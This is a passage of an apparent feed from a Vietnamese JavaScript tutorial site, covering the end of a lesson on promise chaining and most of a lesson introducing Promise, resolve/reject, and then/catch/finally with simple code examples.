function">then</span><span class="token punctuation">(</span>showAvatar<span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">githubUser</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Finished showing </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>githubUser<span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ...</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Nếu trình xử lý <code>.then</code> (hoặc <code>catch</code> hay <code>finally</code>) trả về một promise. Phần còn lại của chuỗi promise sẽ đợi cho đến khi promise xử lý xong. Sau đó, kết quả (hoặc lỗi) của promise trước sẽ được truyền vào trình xử lý sau trong promise chaining.</p> <p>Tham khảo: <a href="https://javascript.info/promise-chaining">Promises chaining</a></p>[email protected]<![CDATA[Promise là gì? Promise trong JavaScript]]><![CDATA[Giả sử, bạn là một ca sĩ hàng đầu và người hâm mộ luôn yêu cầu bài hát sắp tới của bạn. Bạn hứa sẽ gửi bài hát cho họ sau khi được xuất bản. Bạn cung cấp cho người hâm mộ bạn một…]]>https://completejavascript.com/promise-la-gi-promise-trong-javascript/https://completejavascript.com/promise-la-gi-promise-trong-javascript/<![CDATA[Promise]]>Sun, 09 Jul 2017 13:45:00 GMT<p>Giả sử, bạn là một ca sĩ hàng đầu và người hâm mộ luôn yêu cầu bài hát sắp tới của bạn.</p> <p>Bạn hứa sẽ gửi bài hát cho họ sau khi được xuất bản. Bạn cung cấp cho người hâm mộ bạn một danh sách. Họ có thể điền địa chỉ email vào để khi bài hát có sẵn, tất cả người đã đăng ký sẽ nhận được ngay.</p> <p>Và ngay cả khi có sự cố xảy ra, chẳng hạn như phòng thu bị chập cháy, khiến bạn không thể xuất bản bài hát, họ vẫn sẽ được thông báo.</p> <p>Lúc này mọi người đều <strong>win-win</strong> bởi với:</p> <ul> <li><strong>Bạn</strong>: vì mọi người không còn đông đúc bạn nữa.</li> <li><strong>Người hâm mộ</strong>: vì họ sẽ không bỏ lỡ bài hát mới.</li> </ul> <p>Đây là một điều tương tự trong cuộc sống mà chúng ta thường gặp trong lập trình:</p> <ol> <li>Một đoạn mã <code>(1)</code> thực hiện một tác vụ nào đấy và cần thời gian, ví dụ: đoạn code tải dữ liệu qua mạng. Đó là một <strong>ca sĩ</strong>.</li> <li>Một đoạn mã <code>(2)</code> muốn kết quả của đoạn mã trên khi mọi thứ đã sẵn sàng. Nhiều hàm có thể cần kết quả đó. Đây là những <strong>người hâm mộ</strong>.</li> <li>Một <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promise</a> (lời hứa) là một đối tượng JavaScript đặc biệt liên kết 2 đoạn mã trên lại với nhau. Đó có thể hiểu là một <strong>danh sách đăng ký</strong>. Đoạn <code>(1)</code> cần thời gian để thực hiện và <strong>Promise</strong> cung cấp kết quả đó cho tất cả các đoạn code đã đăng ký.</li> </ol> <p>Ví dụ trên có thể không mô tả hoàn toàn chính xác những gì mà promise trong JavaScript có thể làm. Tuy nhiên, ví dụ đó cũng giúp bạn phần nào hiểu được promise là gì.</p> <h2 id="promise-trong-javascript" style="position:relative;"><a href="#promise-trong-javascript" aria-label="promise trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Promise trong JavaScript</h2> <p>Cú pháp khởi tạo promise trong JavaScript là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// xử lý</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hàm được truyền tới <code>new Promise</code> được gọi là <strong>trình thực thi</strong> - <strong>executor</strong>. Khi <code>new Promise</code> được tạo, trình thực thi sẽ tự động chạy.</p> <p>Các đối số của trình thực thi promise là <code>resolve</code> và <code>reject</code>. Đó là các hàm <a href="/callback-la-gi-callback-trong-javascript/">callback</a> do chính JavaScript cung cấp. Phần code xử lý chỉ nằm bên trong trình thực thi.</p> <p>Khi trình thực thi nhận được kết quả, dù sớm hay muộn, nó sẽ gọi một trong các hàm callback như sau:</p> <ul> <li><code>resolve(value)</code>: nếu công việc kết thúc thành công, có kết quả <code>value</code>.</li> <li><code>reject(error)</code>: nếu một lỗi đã xảy ra, <code>error</code> là <a href="/quan-ly-loi-voi-try-catch-trong-javascript/">đối tượng lỗi</a>.</li> </ul> <p><strong>Tóm lại</strong>: trình thực thi chạy tự động và cố gắng thực hiện một công việc. Khi kết thúc quá trình, nó sẽ gọi <code>resolve</code> nếu thành công hoặc <code>reject</code> nếu có lỗi.</p> <p>Đối tượng <code>promise</code> được trả về bởi hàm khởi tạo <code>new Promise</code> có các thuộc tính bên trong sau:</p> <ul> <li><code>state</code>: ban đầu <code>"pending"</code>, sau đó chuyển thành <code>"fulfilled"</code> khi <code>resolve</code> được gọi hoặc <code>"rejected"</code> khi <code>reject</code> được gọi.</li> <li><code>result</code>: lúc đầu <code>undefined</code>, sau đó chuyển thành <code>value</code> khi <code>resolve(value)</code> được gọi hoặc <code>error</code> khi nào <code>reject(error)</code> được gọi.</li> </ul> <p>Cuối cùng, trình thực thi chuyển <code>promise</code> đến một trong hai trạng thái sau:</p> <ul> <li><code>resolve</code> với <code>state="fulfilled"</code> và <code>result=value</code>.</li> <li><code>reject</code> với <code>state="rejected"</code> và <code>result=error</code>.</li> </ul> <p>Tiếp theo, mình sẽ xem cách để đăng ký những thay đổi này.</p> <h3 id="đăng-ký-thay-đổi-trạng-thái-promise" style="position:relative;"><a href="#%C4%91%C4%83ng-k%C3%BD-thay-%C4%91%E1%BB%95i-tr%E1%BA%A1ng-th%C3%A1i-promise" aria-label="đăng ký thay đổi trạng thái promise permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đăng ký thay đổi trạng thái Promise</h3> <p>Dưới đây là một ví dụ về hàm tạo promise và hàm thực thi đơn giản (thông qua <code>setTimeout</code>):</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// hàm được chạy ngay khi promise được tạo</span> <span class="token comment">// sau 1 giây, kết quả thu được là "done"</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token string">"done"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Bạn có thể thấy rằng:</p> <ol> <li>Trình thực thi được gọi tự động và ngay lập tức - sau <code>new Promise</code>.</li> <li>Trình thực thi nhận được hai đối số: <code>resolve</code>và <code>reject</code>. Các hàm này được xác định trước bởi JavaScript engine. Vì vậy, bạn không cần tạo chúng. Bạn chỉ nên gọi một trong hai hàm khi kết quả sẵn sàng.</li> </ol> <p>Sau một giây, trình thực thi sẽ gọi <code>resolve("done")</code> để đưa ra kết quả. Điều này làm thay đổi trạng thái của đối tượng <code>promise</code> thành:</p> <ul> <li><code>state</code>: <code>fullfilled</code></li> <li><code>result</code>: <code>"done"</code></li> </ul> <p>Đó là một ví dụ về việc thực hiện công việc thành công, một <strong>lời hứa được thực hiện</strong>.</p> <p>Tiếp theo là ví dụ khác về việc trình thực thi <strong>từ chối lời hứa</strong> với một lỗi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// sau 1 giây, công việc kết thúc với một lỗi</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Việc gọi hàm <code>reject(...)</code> chuyển đối tượng promise sang trạng thái <code>"rejected"</code> như sau:</p> <ul> <li><code>state</code>: <code>rejected</code></li> <li><code>result</code>: <code>"Whoops!"</code></li> </ul> <p>Như vậy, trình thực thi nên thực hiện một công việc (thường sẽ tốn thời gian) và sau đó gọi <code>resolve</code> hoặc <code>reject</code> để thay đổi trạng thái của đối tượng Promise tương ứng.</p> <p>Một Promise được giải quyết hoặc bị từ chối được gọi là <strong>settled</strong> - <strong>đã giải quyết</strong>, ngược lại thì là <strong>pending</strong> - <strong>đang chờ xử lý</strong>.</p> <p><strong>Chú ý:</strong></p> <ul> <li>Promise chỉ có một kết quả duy nhất hoặc một lỗi.</li> <li>Trình thực thi chỉ nên gọi một lần <code>resolve</code> hoặc <code>reject</code>. Bất kỳ thay đổi trạng thái nào đều là <strong>final</strong>, không thể thay đổi được.</li> <li>Tất cả các lời gọi hàm tiếp theo <code>resolve</code> và <code>reject</code> đều bị bỏ qua.</li> </ul> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token string">"done"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"…"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// bị bỏ qua</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token string">"…"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// bị bỏ qua</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ngoài ra, <code>resolve</code> và <code>reject</code> chỉ xử lý một đối số (hoặc không có) và sẽ bỏ qua các đối số còn lại.</p> <h3 id="reject-với-đối-tượng-error" style="position:relative;"><a href="#reject-v%E1%BB%9Bi-%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-error" aria-label="reject với đối tượng error permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Reject với đối tượng <code>Error</code></h3> <p>Trong trường hợp có vấn đề gì đó xảy ra, trình thực thi nên gọi <code>reject</code>.</p> <p>Điều đó có thể được thực hiện với bất kỳ loại đối số nào - giống như <code>resolve</code>. Nhưng nên sử dụng các đối tượng <code>Error</code> hoặc các <a href="/tuy-bien-mo-rong-doi-tuong-error/">kế thừa từ <code>Error</code></a> để đảm bảo code rõ ràng, dễ hiểu.</p> <h3 id="gọi-ngay-resolve-hoặc-reject" style="position:relative;"><a href="#g%E1%BB%8Di-ngay-resolve-ho%E1%BA%B7c-reject" aria-label="gọi ngay resolve hoặc reject permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Gọi ngay <code>resolve</code> hoặc <code>reject</code></h3> <p>Trong thực tế, trình thực thi thường thực hiện điều gì đó không đồng bộ và gọi <code>resolve</code> hoặc <code>reject</code> sau một thời gian. Nhưng không nhất thiết phải như vậy, bạn cũng có thể gọi <code>resolve</code> hay <code>reject</code> ngay lập tức như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// công việc không tốn thời gian</span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">123</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// thu được kết quả ngay lập tức là: 123</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trường hợp này thường xảy ra khi bạn bắt đầu thực hiện một công việc. Nhưng sau đó, bạn thấy rằng mọi thứ đã được hoàn thành và lưu vào bộ nhớ cache.</p> <p>Khi đó, bạn có thể gọi <code>resolve</code> ngay lập tức để có kết quả.</p> <blockquote> <p><strong>Chú ý:</strong> các thuộc tính <code>state</code> và <code>result</code> của đối tượng Promise là nội bộ bên trong Promise. Bạn không thể truy cập trực tiếp vào chúng. Thay vào đó, bạn có thể sử dụng các phương thức <code>.then</code> hoặc <code>.catch</code> hoặc <code>.finally</code>.</p> </blockquote> <h2 id="sử-dụng-then-catch-và-finally" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-then-catch-v%C3%A0-finally" aria-label="sử dụng then catch và finally permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng "then", "catch" và "finally"</h2> <p>Đối tượng Promise đóng vai trò là liên kết giữa trình thực thi và nơi sử dụng - sẽ nhận được kết quả hoặc lỗi. Các hàm sử dụng có thể được đăng ký bằng các phương thức <code>.then</code> hay <code>.catch</code> hoặc <code>.finally</code>.</p> <h3 id="thành-phần-then-trong-promise" style="position:relative;"><a href="#th%C3%A0nh-ph%E1%BA%A7n-then-trong-promise" aria-label="thành phần then trong promise permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thành phần "then" trong Promise</h3> <p>Thành cơ bản nhất là <code>.then</code> với cú pháp như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">promise<span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// xử lý kết quả thành công</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// xử lý lỗi</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li>Đối số đầu tiên của <code>.then</code> là một hàm chạy khi Promise được giải quyết và nhận kết quả.</li> <li>Đối số thứ hai của <code>.then</code> là một hàm chạy khi Promise bị từ chối và nhận được lỗi.</li> </ul> <p>Ví dụ, đây là cách xử lý với một Promise được giải quyết thành công:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token string">"done!"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// xử lý kết quả ở hàm đầu tiên trong .then</span> promise<span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token comment">// hiển thị "done!" sau 1 giây</span> <span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span> <span class="token comment">// không thực hiện</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong ví dụ trên, hàm đầu tiên đã được thực thi.</p> <p>Và trong trường hợp Promise bị từ chối thì hàm thứ hai được thực thi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// reject thực hiện chạy hàm thứ hai trong .then</span> promise<span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token comment">// không chạy</span> <span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span> <span class="token comment">// hiển thị "Error: Whoops!" sau 1 giây</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu bạn chỉ quan tâm đến việc Promise thành công thì bạn chỉ cần cung cấp một đối số hàm cho <code>.then</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token string">"done!"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> promise<span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>alert<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hiển thị "done!" sau 1 giây</span></code></pre></div> <h3 id="thành-phần-catch-trong-promise" style="position:relative;"><a href="#th%C3%A0nh-ph%E1%BA%A7n-catch-trong-promise" aria-label="thành phần catch trong promise permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thành phần "catch" trong Promise</h3> <p>Nếu bạn chỉ quan tâm đến lỗi thì bạn có thể truyền đối số đầu tiên là <code>null</code> dạng <code>.then(null, errorHandlingFunction)</code>. Hoặc bạn có thể sử dụng <code>.catch(errorHandlingFunction)</code>, hoàn toàn giống nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// .catch(f) tương đương với promise.then(null, f)</span> promise<span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span>alert<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hiển thị "Error: Whoops!" sau 1 giây</span></code></pre></div> <p>Câu lệnh <code>.catch(f)</code> hoàn toàn tương tự <code>.then(null, f)</code>, vì đó chỉ là một cách viết tắt.</p> <h3 id="thành-phần-finally-trong-promise" style="position:relative;"><a href="#th%C3%A0nh-ph%E1%BA%A7n-finally-trong-promise" aria-label="thành phần finally trong promise permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thành phần "finally" trong Promise</h3> <p>Cũng giống như mệnh đề <code>finally</code> thông thường trong <code>try {...} catch {...}</code>, Promise cũng có <code>finally</code>.</p> <p>Lời gọi <code>.finally(f)</code> tương tự như <code>.then(f, f)</code> theo nghĩa hàm <code>f</code> luôn chạy khi Promise được giải quyết (thành công hay có lỗi).</p> <p>Thành phần <code>finally</code> là một nơi tốt để xử lý việc <strong>dọn dẹp</strong>. Ví dụ như dừng các chỉ báo <strong>đang tải dữ liệu</strong>,... vì chúng không cần thiết nữa, bất kể kết quả là gì.</p> <p>Ví dụ như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">finally</span><span class="token punctuation">(</span><span class="token 